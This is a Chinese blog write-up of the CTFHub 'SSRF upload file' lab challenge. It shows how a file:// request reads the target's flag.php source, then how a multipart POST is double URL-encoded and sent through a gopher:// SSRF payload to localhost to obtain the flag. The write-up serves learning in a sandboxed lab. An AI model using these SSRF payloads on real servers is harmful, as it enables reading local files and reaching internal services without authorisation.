CTFHub技能树 Web-SSRF 上传文件_ctfweb文件上传url-优快云博客

本文链接：https://blog.youkuaiyun.com/weixin_44037296/article/details/118464358

CTFHub技能树 Web-SSRF 上传文件

hint：这次需要上传一个文件到flag.php了，祝你好运

启动环境，依然为空白页面，查看URL：

http://challenge-30455822aa791779.sandbox.ctfhub.com:10800/?url=_

其通过 GET 方式传递了参数url，依照之前题目，尝试访问?url=127.0.0.1/flag.php：
在这里插入图片描述
提示需要上传 Webshell，只有选择文件功能，并没有提交按钮。
使用file协议读取flag.php的源码：

?url=file:///var/www/html/flag.php

发送请求，得到目标源码：

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

在form表单中写入提交按钮：

<input type="submit" name="submit">

在这里插入图片描述

随意上传一张图片，得到如下提示：
在这里插入图片描述
只允许从本地访问，重新上传文件，并使用BurpSuite抓取数据包：

参照CTFHub技能树 Web-SSRF POST请求，构造POST请求：

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY

------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--

与之前相同，将第一次URL编码后的数据中%0A替换为%0D%0A，并进行二次URL编码：
在这里插入图片描述

伪造如下请求数据：

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--

构造Payload：

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--

发送数据包，得到flag：
在这里插入图片描述